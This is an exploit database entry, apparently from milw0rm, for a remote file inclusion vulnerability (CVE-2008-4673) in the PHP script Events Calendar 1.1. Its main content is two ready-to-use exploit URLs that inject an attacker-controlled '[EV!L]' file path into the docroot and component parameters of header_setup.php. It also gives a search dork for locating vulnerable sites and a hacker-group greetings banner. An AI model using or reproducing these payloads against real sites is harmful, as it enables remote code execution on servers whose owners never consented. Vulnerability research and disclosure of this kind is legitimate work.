events Calendar 1.1 - Remote File Inclusion

Author: k3vin mitnick
type: webapps
platform: php
port: 
date_added: 2008-09-28 
date_updated:  
verified: 1 
codes: OSVDB-48731;CVE-2008-4673 
tags: 
aliases:  
screenshot_url:  
application_url: 

#########################################################
#
# Events Calendar 1.1

Remote File Inclusion Vulnerability


#========================================================
# Author: kevin mitnick( tunisianblackhat team ) =
# =
# Home : http://tunisianblackhat.com =
# =
# email: kevinmitnick[A]live.fr =
# =
#=========================================================
#
# script : Events Calendar 1.1#
http://webscripts.softpedia.com/script/Calendar-Systems/Events-Calendar-WebBiscuits-46424.html
# DorK : Events Calendar 1.1#
##########################################################

[~] Exploit :


http://youwebsite/panel/common/theme/default/header_setup.php?path[docroot]=[EV!L]
http://youwebsite/panel/common/theme/default/header_setup.php?component=[EV!L]

########################( Greetz )###########################
# marw駭_neo , mrabah12R ,KaMiKaZe ,NaRuTo ,hijacker #
# Boomrang_Victim and all tunisian hackers #
# #
# #
# #
###########################################################

# milw0rm.com [2008-09-29]